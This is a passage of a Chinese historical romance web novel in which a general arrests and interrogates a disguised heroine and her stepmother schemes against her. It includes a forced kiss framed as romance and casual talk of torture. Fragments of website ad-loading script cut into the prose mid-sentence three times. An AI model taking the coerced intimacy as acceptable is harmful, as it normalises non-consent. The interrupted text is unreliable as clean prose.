等他处理完政事和应酬,闲下时间却赫然发现,苏绾装扮成书生模样,大摇大摆在市集天桥底下摆摊算命。 时枫愕然之际,又觉得好笑,这回改装算命先生?疯婆娘到底戴几层面具? 他暗中观察三天,总算摸清楚苏绾意图:她同苏家新娶的小妾联手,合伙骗取百姓钱财。 敏锐直觉告诉他,王老板之死,绝对与她有关。也许,这又是一桩谋财害命,杀人灭口案。 除此之外,女书绣帕、鹤首徽记、口技技能,匪夷所思,又相互关联。 这女人一身的谜题。 然而他并不能直接报官,衙门审案有自己一套程序,一旦惊动巡城兵马司,将苏绾抓进县衙大牢,他这京卫指挥使再无权插手。 男人一脸阴云,开始活动手腕,指关节掰得啪啪作响,“你犯没犯罪,过审后自然明了。凭你三言两语,焉得洗脱罪名。” 苏绾情知躲不过这场灾祸,她偷偷逡巡人群,芸娘已消失无踪,想来会去通风报信。 书生嗤笑一声,双手握拳,胸膛一挺,“你凭什么抓我?告我图财害命,你逾矩逮捕,可有驾帖?倘若你敢擅自动我,某还要反告你一个‘假公济私‘的私坐之罪!” 白色衣襟随风飘逸,高洁雅士大义凛然,宛如谪仙初堕,救世主降临。 围观群众皆惊为天人,有那好事者,窃声传颂书生神机妙算事迹,讲他如何如何算准苏郎中官运,又如何如何妙手回春。 一圈下来,竟有人开始低呼:“神仙下凡啦!” 时枫俯首睇着她,看她的星眸距离他的凤眼,不过一尺之遥。艳阳高照,无数光辉洒落白色道袍,反射刺眼光芒,闪了他的眼,挫了他的威风,叫他败下阵来。 脑海里浮现一幅幅图画,白璧无瑕少女,妩媚冷艳花娘,威武不屈书生。或撩人、恳求、嘲讽、威胁,走马观花,经历千种人生。缭绕纷繁的画面,每章都有一张柔媚艳丽的脸庞,玉手调转,四两拨千斤,仇恨冰泮融化,隐没深潭不见。 时枫向来讨厌麻烦,从不在女人身上耽搁时间。此时此刻,他竟一点都不觉得厌烦,反而滋生出一丝莫名的兴奋。他甚至愿意搬条板凳坐下来,津津有味欣赏她上演的一出出好戏。 眼下这场戏,说的是狡兔舔舔雪白长毛,摇身一变,化作普渡众生的堕仙,甘愿以身试法。而他,则被迫扮演欺压良善的“恶将军”。 很好,既然她这么爱演,他奉陪到底。 男人负着手,冷冷道:“你算个什么东西,用得着本将军亲自动手?自会有人收你,等着大牢里哭诉罢。” 言毕,伸手一挥,人群中冲出两名银甲士兵,手握兵器,缓缓趋步向前,形势万分紧急。 书生退后一步,双手擎起香炉,高举头顶,喝道:“岂有此理,你冥顽不灵,食古不化,众目睽睽之下,竟敢肆意妄为,违反纲常法纪。某绝不肯屈服于你的霸权淫威!” “此至今日,我以我血荐轩辕。” 言讫,用力狠命一摔,香炉掷地有声,炉灰倾撒,霎时迷了时枫的眼睛。 顷刻间,漫天炉灰弥漫,好似茫茫雾霭,形成一道雾墙屏障。恰时起了一阵妖风,风起云涌,呛得围观群众及银甲士兵喷嚏咳嗽不断。 周遭灰飞烟灭,百姓惊慌失措,都道是“天神震怒”,拼命哭喊“灾祸降临”。内层群众欲冲出重围,外圈百姓不知其所以然。黑压压百十号人,互相拥簇挤兑,人挤人,人踏人,场面瞬间失控。 混乱声惊动巡城兵马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 司,刹那间哨声四起,马蹄踏踏,从东南西北不同方向,向迷雾中心袭来。 借着迷烟缭绕,苏绾悄悄低身钻进人群。突然身后一凉,粗壮手臂搂紧腰肢,轻轻一拉,将她揽入怀抱。熟悉的雪松气息,绕过烟熏火燎,钻入鼻翼,直冲脑壳。 该死,这家伙属狗的,瞎眼还能看见。 “放开我。”白衣书生拼命挣扎呼救,忘了口技掩饰,柔软女声淹没此起彼伏的人潮。 男人怔愣睇着那双星眸,恨不得穿透她的身体,将她千刀万剐,毁之一炬。但他不能任由她喊叫,招来巡逻兵马司,他再想去衙门捞她,已然不可能。 “不许叫。” 男人本能地贴近佳人粉面,狠狠亲吻朱唇,期望堵住她的嘴巴。 苏绾来不及思索,对方大山压过来,已无处可躲。一刹那间,脑子里只剩空白。 他的唇际冰冰凉凉,夹着不可遏制的欲望,还有几分无奈。身上那股子雪压青松的气息,直直刺激神经,几乎让她窒息。 阖合眼帘,流绪微梦,血色弥漫,硝烟滚滚,松油焦糊气味四散,耳际萦绕着噩梦般的低语,振聋发聩。 “绾绾,你是为我而生的。这一刻,我们将融于一体,永世不得分离。” “不要啊——” 苏绾用尽全身力气,仍无法挣脱束缚,内心恐惧化作一双鬼手,捂住口鼻,遮挡呼吸视听。 嘴唇相碰那一刻,时枫的脑子是懵的。 她的唇瓣,怎么这样柔软?连口舌津液,也带着一丝香甜。可没等他静静享受美餐,怀里的佳人突然浑身颤抖,眼神昏暗无光,使劲捶打他。 她就这么讨厌他? “受着。”男人没好气似的,停了一息,再度报复性地碾上红唇。 时间停下匆匆脚步,万物静止,流水飘动云。 “咳……我说……”忽然一声咳嗽,打断那个万年长吻。 时枫充满怨恨的目光,落在一身青色衣褂,来者正是大理寺寺卿邵云礼,时枫昔日的战友。 邵云礼强忍笑容,挂着一脸虚伪的歉意,“我来给你拿人了,人在哪里?” 时枫松开双手,不知所措地摩挲束腕绿松石,冷声道:“此人涉嫌诈骗,拘入大理寺狱,留待查审。” 邵云礼低头一看,未冠少年,明眸皓齿,面如冠玉,嘴角抑制不住笑意,翘指违心称赞道:“小小年纪,竟引得世子爷垂青,少年可期!” 一句话说得书生满面绯红,他嫌恶地以袖口擦拭嘴巴。回眸之际,又撞见黑脸将军凶神恶煞的眸光,充满责怪和痛恨。 时枫狠狠瞪邵云礼一眼,转身睇苏绾,沉默一阵,说道:“虽说是审问,但我从不做诏狱刑罚逼供那一套,你也不必拼死抵抗。老老实实说真话,没人会为难你。” 他手一挥,命令手下带人。 书生已无路可退,他一甩衣袖,哼的一声,高高扬起额头,随士兵一起离去。 烟消云散,水落石出。待巡城守卫匆匆赶到时,不见肇事之人影踪,唯有百十余围观群众,面面相觑。 至此,坊间流传一道奇闻异事:京卫指挥使喜好男色,当街强掳算命先生。 15. 审讯 午后阳光委云,洒下一团团温暖光束,照得融融双颊红晕迭起。苏绾抬起宽大云袖障袂,轻轻沾了沾螓首汗珠。 抬头仰望悬梁金匾,上书先皇御笔:大理寺。三个遒劲苍颉大字,在烈日余晖下,闪耀刺眼的光芒。 “三法司”包括刑部、都察院、大理寺,座落城西。因皇帝直接掌管锦衣卫,监管缉捕、刑狱,下设诏狱之权,三司不得过问,故专门将三法司移出皇城。 无论前世还是今生,苏绾从未踏足过三法司衙门,遑论以戴罪之身锒铛入狱。但她并未感觉丝毫畏惧,她坚信,温如初必会第一时间赶来救她。 倘若她成为罪妇,如何拱手送与阁老呢? 苏绾回眸乜斜,阳光浸润下,亲手逮捕她的“不世出卫将军”,正一脸阴沉,脚步虎虎生风。 旁边跟着脚步同样稳健的大理寺卿邵云礼,剪着一条手臂,沉声道:“安排在西楼独间小室,非常规监狱,保证无人打扰你们。”末了,递上一个意味深长的笑意。 时枫回了他一个白眼,“此人狡猾多端,贪婪成性,数次设下陷阱敲诈勒索,当小心谨慎对待。” 邵云礼摸摸鼻翼,嘴角上扬,“哦,原来是惯犯。那也不必费尽周折审问,我听说,你要将他凌迟处死?我手下新晋一名刽子手,外号‘鬼见愁‘,啧,手段那叫一个高明,三千三百一十八刀,刀刀见血,却不死人,切下来的肉比片烤鸭的还整齐……” “谁说我要判他凌迟?”时枫停住脚步,牛眼瞪着邵云礼,“还未过审就妄自判刑,这不是我一贯行事作风。” 邵云礼作恍然大悟状,“哦,你没说过啊,那是我耳背,听岔了。” 他搓着下巴揶揄道:“我道时将军一贯行事稳妥谨慎,哪可能这般火急火燎,不惜动用一切关系网,闹市街区抓人现行?必是经过一番千锤百炼严谨考察,我没说错吧?” 邵云礼与时枫并肩沙场磨炼多年,摸爬滚打吃睡一处,无拘无束感情极好。后来邵云礼由武转文,调入京中大理寺任职,四五年未见,彼此仍未有一点生疏隔阂。 “我叫你来,是要你以大理寺卿之职,行缉拿审判之责,不是让你钻我脑子里吵我烦我。”时枫有些恼了,眼珠子瞪老大。 邵云礼明知故问道:“那一会是你审,还是我审?” “废话真多。” 时枫不再理睬他,转身负手急急前行,大摇大摆跨进大理寺门槛,撇下身后一缕萦帘翠影。 三法司当中,大理寺掌刑狱案件审理,审谳平反刑狱之政令,先帝训曰:“务必推情定法、刑必当罪,使狱以无冤。” 按理说,苏绾所犯案件之微末,根本够不到三法司审理资格。时枫专门请出大理寺卿审她这小小诈骗犯,颇有点“杀鸡焉用牛刀”之感。是以也没让她进大牢,只是单独择了一间屋子关着,等待提审。 苏绾跟随狱卒,穿过昏暗长廊,来到一间砖砌屋子。室内逼仄阴暗,苔藓附着潮湿墙面,光线映衬下隐隐发黑。屋内散发一股霉味,苏绾端起云袖遮掩口鼻。 男人仔细打量房间角落,越看脸越黑,两条浓眉挤在一团不肯分开,满脸嫌恶之色,“没别的了?” 邵云礼鼻子“哼”了一声,“抱歉啊,时将军既要审人,又不许人旁听,那必是久无人用的牢舍才行。蔽寺房舍资源紧张,没多余的。” 转而对着书生讪笑道:“蜗舍荆扉,委屈公子了。” 书生豁然一笑,“某本阶下囚,何嫌囹圄陋?” 邵云礼视线逡巡二人,脸上表情丰富多彩,人家正主都不在意,你操这么多闲心干嘛? 哪知时枫嗤笑一声,“不过一个嫌疑犯,有什么资格挑三拣四。” 这人反复横跳,书生还了时枫一个大大的白眼。三人沉默半日,不像拘禁囚犯,反倒像是宾客借住主人家。 邵云礼伸手道:“你们二位先谈,本官退避。” 言毕,冲时枫眨了眨眼睛,也不管时枫愿不愿意,转身出门离去,临行前还不忘贴心地撤掉所有守卫。 嘈杂暗室骤然沉静,阵阵清风自槛栏小窗流入,吹动纶巾束带摇曳,末梢拂了时枫的脸颊,有些痒痒的。 男人琢磨着说点什么,杵立半日,硬是挤不出一个字。奇了怪了,他性格虽冷漠乖戾,但也从不惧口舌之争。怎么对着疯婆娘,他就变成哑巴了呢?难道是因为在天桥底下亲了她,中了哑毒? 思及那个吻,心弦又狂躁拨弄,摇旌擂鼓不停。面对□□的她,他内心稳如老狗坐怀不乱。区区一个吻,这番狂妄悸动所为何来? 难道他喜欢男人? 他回首瞥了书生一眼,只见白衣少年挺身玉立,面如冠玉,潇洒倜傥,举手投足端地一副翩翩公子范,着实有几分姿色。 要命。 书生见他牛眼瞪自己,亦娥眉倒竖,挺起胸膛狠狠瞪回去,“喂,不是审我么?那你倒是问我话啊。” 时枫睇着书生那副桀骜不驯的模样,刹那间有几分恍惚,越发觉得他能言善辩,机灵可爱。脑子里产生诡异想法,想要提掣他衣领,狠狠摔到墙壁上,堵住他的嘴。 如此一想,立刻恼了,眼眸一沉,负手冷声道:“好好说话!不男不女,令人作呕。” “你……”噎得苏绾一口气没上来差点憋死。 这是只顺毛驴,不顺他心意的人,连呼吸都是错的。同时枫的几次会面,苏绾都以失败告终。对方认定她居心叵测,死咬住她不松口。 冤家宜解不宜结。 只有解开彼此心结,才能拿回娘亲的遗物。大不了她伏低做小,对他一呼百应。 苏绾低下头,轻轻道:“你问吧,奴家回答你就是了。” 终于逼迫她露出柔美女声,顺毛驴霎时感觉浑身畅快舒服多了。根节在于此,他并没有断袖之癖。 男人满意地咋了咋嘴,背着手,斜睨苏绾,“原来会讲人话。很好,我问你,春月坊你费尽心机弄取银盒,当真是为拿母亲遗物?你可知银盒内盛何物?” 苏绾点点头,又摇摇头。 “我娘生前节俭,用度极少。我猜,银盒里多半是她半生积攒的一点首饰。将军可将首饰取走自用,只将银盒还于我,奴家留个念想。” 她的眼眸清澈如水,不像是扯谎,倒让时枫有些为难。假如她继续耍心机的话,绝逃不出他的锐利鹰眼。说什么买椟还珠的屁话,太小看他。 然而,三哥事件之后,他曾专门传唤审讯宝蟾和老鸨,问及银盒主人来历,两人对此一问三不知。 银盒的上一任主人就是春月坊的当家老鸨,她遵从当初的诺言,虽没将银盒贪为己有,但也未曾当回事,扔进库里忘得一干二净。而竞拍一案中,宝蟾只不过是走运,碰巧银盒分她头上而已。 至于银盒真正的主人九香,则是春月坊从人牙子手里买来的贱奴,其人性格低调,闭口三缄籍贯背景。九香来京不过一月,即被苏君识包养外室,从此不再对外接客。 女书线索到此为止,中断了。 男人撇了撇嘴,又问:“你三番两次,企图迷惑本将军,居心何在?” 苏绾见话已入港,柔声细语趁机和解:“时将军,前番都是我不对,恣意妄为,煞了将军威风,奴家知错了。”她端起云袖拜道:“我并无陷害将军之心,所有种种,皆是误会。任凭将军责骂惩治,奴家绝无怨言。” 她主动放下姿态,让时枫不由得一愣,猜测对方是何居心。憋了半天,男人冷冷道:“你何错之有?” 她还想问他呢,到底哪里得罪他,疯狗一样追着她不放。苏绾腹诽不断,面上仍带着笑意,“哪里都错了。错在有眼不识泰山,错在不自量力,错在不知好歹。奴家就没做对一件事。” 她态度谦卑,一双星眸含露,楚楚可怜的模样,捣乱男人坚硬心肠,化作一滩春水向东流。 男人垂下眼眸,“之前你可不是这么说的。” 苏绾见对方始终不肯松口,干脆心一横,上前一步,距离时枫咫尺之遥,双眸含泪,“自见将军那日起,奴家仰慕将军雄才,便起了歪心思,想方设法吸引将军注意。一步错,步步错,造成今日之尴尬局面。奴家理应恪守三从四德,再不敢僭越觊觎。” 自袖中取出一条墨金双色丝绦络子,打作同心结,双手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 奉上。 “奴家谨此一表诚意,借花献佛,愿与将军化干戈为玉帛,从此一别两宽,不再打扰。” 其实前日芸娘跟她借花样子,讲好就要同心结花式,欲送老爷讨欢心——苏绾早前打过一条同心结,欲送给时枫聊表歉意,却没得机会送出去。早上她翻出压箱底的花样子,结果出门匆忙忘记给了,这会子放在袖子,正好派上用场。 她说,她仰慕他已久。 时枫怔愣地从她手心拾起络子,捏在手里摩挲,心中百感交集,脑子里什么东西一闪而过。 “这条络子我早就打好了,一直没机会赠与将军。本打算镶嵌你的那颗墨玉,可惜不在我手里。你先收下这份情意,回头我拿到玉,再给你补上,可好?” 星眸凝望同心结,祈愿对方能领情。她竟抛诸脑后,同心结乃定情信物,随身携带本就是一件引人怀疑的事情。 他的那颗墨玉。 回忆堤坝溃决,纳征之日她盗走墨玉,以一块绿松石作替换,迫使他被认作奸夫,为她出面澄清斡旋。他照做了。转身却见她虔诚跪伏别人膝下,双目含情脉脉,耳边低吟浅唱:“同心结尽千千缕,朝朝暮暮长相思。” 这女人以贩卖同心结为生。 真真正正的蛇蝎美人。 男人脸色骤然阴沉,大手一挥,将同心结狠狠摔地上,怒道:“娼妇,休再诓我。” 铁手伸向脖颈,揪起道袍衣领,“凭一条烂绳子,就想两清?做你的春秋大梦。我现在通知你,春月坊你欠本将军三千零二十两白银,须连本带利赔偿,少一文都不行!” 言毕,铁手一推,书生即如折木般栽歪倒地。男人转身甩袖离去,恶狠狠留下一句:“不缴清赔款,你就在牢里蹲一辈子。” 铁门“咣当”一声阖合,回音阵阵绝响。 苏绾囫囵爬起身,呆呆坐在地上,百思不得其解。她什么时候欠下这样一笔巨款?若说她扮作段公子,使手段诱导冰山客赢得竞拍,那两千银子又没进她口袋。另外二十两,不是他主动送给她的茶资么?还有一千两哪里来的?她不是以“谋财害命”的罪名被逮捕入狱的吗?怎么突然间变成“欠债不还”? 要说扶乩算卦十来日,早已赚得盆满钵满。但那些银子是用来预备逃婚的,都赔给他的话,叫她逃亡路上喝西北风啊。 要钱没有,要命一条。 书生两手抓住铁栅栏,透过缝隙骂道:“敲诈勒索、贪赃枉法之流,小心遭天谴。” 时枫一路凉风瑟瑟疾行,胸腔蓄积一团烈火,恨不得烧他个玉石俱焚。 才出监牢大门,正撞见门外驻足等候的邵云礼,见他怒气冲冲趸出,颇有些惊诧。 “条件没谈拢?”邵云礼问道。 时枫掀眸瞟了一眼,没好气道:“谈什么条件?” “哦,你不是看上人家,抓来满足私欲的么?” 时枫闻言盛怒,“你当她是香饽饽,我会看上她?不过蛇虫鼠蚁之流,妄想一步登天,痴人说梦。” 邵云礼揶揄道:“未必是人家痴心妄想,分明是你不知好歹。整日黑着一张脸,好人也被你吓退了。” “她要是好人,我跪拜三司稽首谢罪。” 邵云礼嘴角一斜,“你先跪求户部原谅吧,劫了温侍郎的未婚妻,你好大的胆子。到时候人家追到你跟前要人,我看你能捱到几时。你小子可别想着拖我下水,明日我就告病休沐,这事不解决我绝不回来。” 时枫不耐烦挥挥手,“我自有分寸,用不着你闲操心。她犯了诈骗罪,法理有据可循,就算六部一齐过问,我时枫也不怕他。” 邵云礼眼珠转了转,不怀好意地笑道:“既是罪有应得,不如动刑审问,拿到亲笔认罪书,更好跟六部交代。我给你提个建议,女犯最怕拶刑,夹得十指鲜血淋淋,拈不起绣花针,从此告别女红……” 话未说完,突然腹部受一拳重击,打得邵云礼屈身咳嗽不停。抬眼望去,施暴之人头也不回,化作一抹暗云扬长而去。 邵云礼恨道:“咳咳……你小子不要得意忘形,早晚有一天会栽倒石榴裙下,自有人来收拾你。” 16. 囚禁 黎明拂晓,天边泛起鱼肚白。亭曈晓光如清泉透过铁窗栅栏,穿入逼仄小室,留下一缕新亮。 苏绾抱膝蜷缩角落,望着地上茅草发愣。身旁摆放满满的食盘,蝇蚁肆虐。 昨晚梦见王老板一家惨死马蹄之下,身边无数人影萦绕,披头散发,浑身血污。耳畔回响狞笑,混合女人刺耳尖叫、孩童啼哭、老人叹息。 蓦然感到太阳穴抽搐地疼,伸手去够,看见双手沾满血迹,像一块块干枯泥巴,粘连成片,怎么甩都甩不掉。 苏绾吓得惊恐尖叫,两手在地面拼命摩擦,只蹭得皮开肉绽,露出白骨森森。剩一缕魂魄飘荡,再次猛然猝醒。 原来又是一场梦。 苏绾痛苦揉搓眉心,梦魇接连不断,耗尽她所有精力。脑子里一片混沌,万千思绪混乱交杂,理不出头绪。 被关进牢房三日有余,中间不见任何人来访。莫说温如初没现身,就连那“黑心债主”也不知去向。 纳征拉拢人心不成,春月坊痛失娘亲遗物,天桥占卜获谋财害命罪名,好不容易挣得几个辛苦钱,如今也要被迫上缴还债。 他哪里是救星,分明是灾星。 前世她被熊熊烈火吞没,剩一缕香魂出窍,缥缈孤鸿影。冥冥之中,耳边萦绕儿时娘亲吟唱的童谣: “救世将军降临, 杀破黎明搅乱天阵, 世界即如指掌大, 翻云覆雨。” 重生之后,她方才领悟,那童谣讲述的是一则预言:得“救世将军”臂膂之力,方可推翻末世,拯救苍生出水火。 她以为,这位“救世将军”即是时枫。 如今看来,将军仍是将军,苍生亦有望,只是脱离苦海之人,不是她。 苏绾垂下头,低低叹息。 大理寺衙署位于城西僻静处,与刑部、都察院毗邻同一条街,方便“三法司会审”。凡是刑部、都察院审讯定罪的犯人,大理寺都要根据律例重新再次审讯,以免出现冤假错案。 因苏绾属特例,原则上来说,根本不归大理寺管辖。又单独关押一处,同常规囚犯分隔开。导致苏绾被捕已三日,上头竟无人下来查问结果。 恰是时,大理寺卿告病在家,衙署群龙无首。剩下少卿、寺丞一干人等,各忙各的职责,更加无暇过问苏绾一事。 时枫趁此机会霸占邵云礼的办公书房,卷着铺盖住了进去。每日专门听取狱丞报告苏绾一天活动,兼管日常起居事宜。 “今日如何?” 狱丞俯身道:“今早苏姑娘再次噩梦惊醒,未曾用过早膳,递送的换洗衣裳亦未动过。” 时枫眉头一皱,这女人不仅疯癫,还很倔强,整整三天,粒米不沾,只喝了一点点水。 “你没提我吩咐的?” 狱丞怵道:“小的提了,这不提还好,一言及将军,苏姑娘即掀了盘子,吵嚷‘用你管‘,‘我没钱‘等字眼。小的按捺不住,差点被她一头撞墙。” 混账东西,这是要他难堪。 时枫眼眸一沉,“你告诉她,这是最后一餐,吃完上路,做个饱死鬼,来世托生好人家,省却这般囚禁折磨之苦。” “倘若还不知好歹,绑了她手脚,扯脖灌米粥。” 狱丞瞪大眼睛望着时枫,好似白日见鬼。世人皆知,异姓王绥靖王世子时枫,绰号“冷面阎罗”,手段狠戾性格乖张,孩童见了一准吓尿裤子。 然而下一刻,“冷面阎罗”却像吃了败仗,露出无奈神情,挥手打发狱丞。 那女人信口雌黄,妄想用一条破绳子拴住他。这套下三滥招数,唬得住温如初,哄不了他的火眼金睛。仗着与温如初有婚约,竟玩起了“绝食抗议”。难不成叫他拉下脸主动投降认输,亲自将她送回去? 他不怕得罪温如初,所谓兵来将挡、水来土掩。然三日来,温如初始终未曾露面,倒让他浑身力气没处发泄。人生廿二载,再没比这更窝囊的时刻,堵在死胡同,进退两难,被一只玉面狐狸稳稳踩中七寸。时枫恨得咬牙切齿,指间绿松石几欲捏碎。 忽然狱卒来报:“苏家主母苏夫人求见将军。” 前日纳征之时,时枫与苏夫人有过怨怼,若不是看在温如初的面子,彼此早就撕破脸皮针锋相对。 这节骨眼上,她来干什么? 不多时,狱卒引领一位雍容华贵妇人,手提紫檀食盒,身后跟随两位嬷嬷,一行人缓缓来到书房。 苏夫人纳福道:“民妇苏殷氏,拜见时将军。” 时枫回拜道:“老夫人所谓何来?” 苏夫人闻言陡然变色,双目含泪道:“将军明知故问,是给老身留颜面。我此行来,还不是为那不孝女苏绾。” 她声泪俱下,历数苏绾当街占卜行骗种种罪行,实属罪有应得。然血浓于水,苏绾犯错,苏家教子无方亦有过。她表示苏家愿一同承担惩罚,弥补所有过失。 “我不为求情而来,因罪女吃不惯牢饭,准备几样她爱吃的小菜,及换洗衣裳,特来送此。” 一席话说得时枫心花怒放,那疯婆娘可不就是罪有应得。眼前他被愤怒冲昏头脑,无暇分辨那眼泪的真假。毕竟是苏家骨血,苏家总不至于祸害她。 “老夫人舐犊情深,令晚生钦佩。” 原来那日天桥底下发生混乱之时,芸娘藏在人群瞧了个大概,她只道是苏绾占卜行骗,惹怒京卫指挥使,欲拿人问罪。 心中怀着十分恐惧,芸娘一路跌跌撞撞,好不容易奔回家门,却又一头栽倒刘嬷嬷手里。 因前番被芸娘羞辱,刘嬷嬷怀恨在心,老眼上下打量芸娘,阴阳怪气道:“大日头里,二奶奶急急慌慌,毫无仪态可言,忒有失体统。老爷可没教我们下人这般毛毛躁躁。” 芸娘顾不得跟她掰扯,拱手求饶:“对对对,您老说得是,我知错了。可曾看见阿绾的小厮文竹?我有急事找他。” 刘嬷嬷本预备借着“有失体统”的由头,同对方争执理论一番。然芸娘竟一改常态,客客气气回复她,让她一记老拳打中棉花团。 事出反常必有妖。 刘嬷嬷脸一变,笑道:“原来如此。二奶奶要找文竹?前头老奴瞧见他在后花园拾掇杂草来着,这会子应该还在那里。要不然就在马厩捯饬饲料,总不过这两处地方。” 她故意说了一条迂回曲折路线,后花园距离马厩,横贯整座宅邸,走路颇耽搁时间。 “嬷嬷辛苦。” 芸娘哪知晓她这龌龊心思,还当她好心,对刘嬷嬷千恩万谢,低头急急离去。 刘嬷嬷飞奔至苏夫人处,将芸娘反常情况禀告,得了一锭银子作为奖赏,欢欢喜喜奔去赌坊杀到天亮,直输得一干二净为止。 听完刘嬷嬷的通风报信,苏夫人不慌不忙,稳坐太师椅,叫了一杯“狮峰龙井”,捧在手里细细品味——她向来不爱喝家乡龙井,总觉得茶水过分苦涩。 自打小妾入门起,苏夫人的日子过得颇不顺心。她本意是将小妾接回家,慢慢折磨致死,然而却被半路杀出的庶女拦挡,煞了她的威风。 而那贱妾,也不知踩了哪门子狗屎运,胡诌八扯忽悠苏君识上本,结果竟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还遂了她的愿。而苏君识借着这个由头,从书房搬出铺盖,明目张胆睡进小妾房里。 士可杀不可辱。 苏夫人暗地发誓,定要使一招“一石二鸟”,灭了二人嚣张气焰,教她们尝尝正头夫人的厉害。 一盏茶未凉,苏夫人打发家丁从侧门围堵文竹,五花大绑提来问罪。 文竹倒也回答得干脆利落,“二小姐被京卫指挥使拿去问罪,小的要去户部衙署找姑爷捞人。” “你说什么?”苏夫人拍案惊奇,震动茶碗晃荡,茶水迸溅,洒一桌子。 尽管文竹一向老实本分,并非谎话连篇之人,苏夫人仍难以置信,即刻命人急急拿下心神恍惚的芸娘及慌乱无措的无霜。 “夫人息怒,过去千种万种都是我不好,眼前救阿绾要紧。”芸娘苦苦哀求。 苏夫人丹凤眼一挑,阴阳怪气道:“我早瞧着你俩沆瀣一气,不安好心眼,惹出天大的麻烦,才想起来求我。没门。” 芸娘见求饶无果,改成破口大骂:“你个老不死的,虎毒不食子,见死不救,小心遭雷劈。” 苏夫人冷笑一声,“她又不是我生的,死不死活不活,与我何干?她能有今日,全是她自找的。” 言毕,召婆子将芸娘和无霜关入柴房,贴上封条,一把铜锁牢牢锁住不得出入,任凭芸娘拼命踢打柴扉,空抖落一地黄土。 彼时日上三竿,苏君识上朝未还。苏夫人一系列动作,快、准、狠,神不知鬼不觉,平静犹如一潭深水,不见一丝涟漪。 苏夫人端起那杯凉透的龙井茶底,有滋有味地品茗。原来苦处尽头,隐藏一股清冽甘甜。 天赐良机。 “今日之事,谁敢走漏半点风声,男丁杖毙,女卖妓院。” 不久苏君识下朝归家,遍寻不到芸娘踪迹,疑惑道:“芸娘哪里去了?” 苏夫人赔笑道:“近几日来,她一直在外奔波,为灵童祈福,导致劳累过度,感染大风病。我怕传染别人,让她在柴房躲避。召了阿绾的婢女无霜服侍左右,老爷不必牵挂。” 苏君识虽有疑窦,然终究害怕传染恶疾,遂不再过问。苏夫人又以祛除瘟疫为由,将苏君识铺盖搬回自己房内,还派人煞有介事地撒石灰,彻底清理芸娘房间。 随后苏夫人递送请帖至温府,言及婚礼相关有的没的琐事,信末特意提及苏绾,称其一切安好。此举旨在拖延时间,阻挠温如初去牢狱救人。 过了一日,苏夫人遣人去天桥底下打听书生下落,被询问之人捂嘴偷笑,直说算命先生被大理寺卿带走,在场无人知晓书生真实身份。 待一切准备就绪,时间已过去三日。 苏夫人吩咐厨房单独制备酒菜,翻出苏绾的几件旧衣裙,挑选俩身强体壮的婆子,坐着轿子来到大理寺衙署。 对于时枫的出现,苏夫人颇有些意外。 小小占卜诈骗案,竟能请动京卫指挥使亲自坐镇,监督审讯,而正主大理寺卿则告病在家。纳征之日,苏沅芷指证的奸夫,不正是他么。 一系列的反常举动,让她不由得生出疑窦。然而她也暗暗得意,对方行迹越可疑,手里的筹码越重,胜算就越大。 苏夫人起身拜别时枫,同婆子一路来到苏绾关押处。彼时苏绾正倚墙坐在铁窗前,手里摩挲黑金同心结,闻见苏夫人进门,惊得失手坠落络子。 “母亲怎么来了?” 苏夫人冷笑一声,“你干出这等好事,整个京城都知晓。我若不来给你收拾烂摊子,难道教你一直晾在这里丢人现眼,折我苏家颜面?” 17. 银针 温暖春风吹进逼仄囚室,吹走明面的阴暗潮湿,风底却暗暗夹杂着一丝阴谋的味道。 三日以来,温如初并未如期出现。 半梦半醒之际,苏绾曾一度怀疑,许是温如初与时枫相约“断肠崖”,来一场迎风决斗,赌注就是她。温如初不幸败于时枫刀下,输得一塌糊涂,从此铁栅陪伴她度过余生。 究竟哪里出了差错? 待得苏夫人陡然现身之时,万物云消雾散,豁然开朗。必是苏夫人想方设法阻止芸娘报信,导致温如初根本不知道这一切。 而苏夫人此行,是来要她命的。 苏绾俯身拾起络子,不动声色送入袖中,“母亲百忙之中,还惦记女儿安危,女儿不胜感激。” 苏夫人鼻子里哼了一声,“少跟我装腔作势,你心里怎么想,我还不知道?” 婆子搬来座椅,苏夫人一屁股坐下,斜眼睥着苏绾,“事已至此,我也不必同你掰扯,咱们打开天窗说亮话。你犯得什么错,自己心里明白。我只有一句话,别指望我会救你。” 苏绾嘴角一撇,“女儿自知惹出这样天大的麻烦,成为京城皆知的笑柄。对父母不孝,对国家不忠,对温侍郎亦无法交待。然女儿未曾想过逃脱法理制裁,也不指望谁来救赎。上自有裁断,母亲何须躬身提醒。” “难不成,母亲今日前来,特来看女儿的笑话?那可多此一举。我所犯何事?不过沧海一粟。顶多判我个哄抬物价之嫌。说我谋财害命,你去市集口打听一下,可有捉住实质证据?女儿在这夸下海口,最多四五日,到时候,女儿定会名正言顺,一身清白被送回家。” 苏绾一口气说一大通,脸色苍白,气喘吁吁。三日粒米未沾,有些体力不支,扶着墙壁勉强站立,好似一片白色翎羽,海浪飘摇欲堕。 苏夫人一声嗤笑,“送你回家?做梦吧。你何德何能,不就倚靠温如初那毛头小子?他还蒙在鼓里呢,等到他发现不对劲,你早死在大牢里了。” 听其语气来者不善,苏绾警觉道:“什么意思?大理寺戒备森严,重重关卡。母亲欲以身犯险,强人所难,这牢笼里,恐怕又多一个阶下囚。” 苏夫人伸手,摆出一副揪心模样,叹道:“我的儿,瞅瞅你都胡说八道些啥。父母之爱子,则为之计长远。我哪可能做伤天害理之事?” 苏夫人向婆子使眼色,俩婆子一个打开紫檀食盒,另一个翻弄包裹。 几碟精致小菜,配有美酒一壶。其中一道菜,最为精致,出自山东孔府,名为“酿豆莛”。把去掉头尾的豆芽穿空,里边酿上鸡茸、火腿、红白相映,色香味绝佳。 香味四溢,钻入鼻翼,完全勾不起食欲。苏绾警惕注视一举一动,却也看不出端倪。身体紧紧贴着土墙,眼眸充满惶惶不安。 婆子展开三丈红绫,绑在桌案及床铺角落,将狭窄陋室拦隔一方天地,周围密不透风。 苏绾再也稳不住阵脚,大声叫道:“你们想干什么?” 苏夫人拾起象牙箸,夹一根银丝豆芽,阴笑道:“我的儿,这几日苦了你,没吃没喝,也没个换洗。为娘体贴你,好酒好菜伺候,还带了你平常爱穿的衣裳。快快褪下那层脏皮,好好姑娘家,偏要扮男人,有伤风化。” “服侍二小姐更衣。”苏夫人丹凤眼一沉。 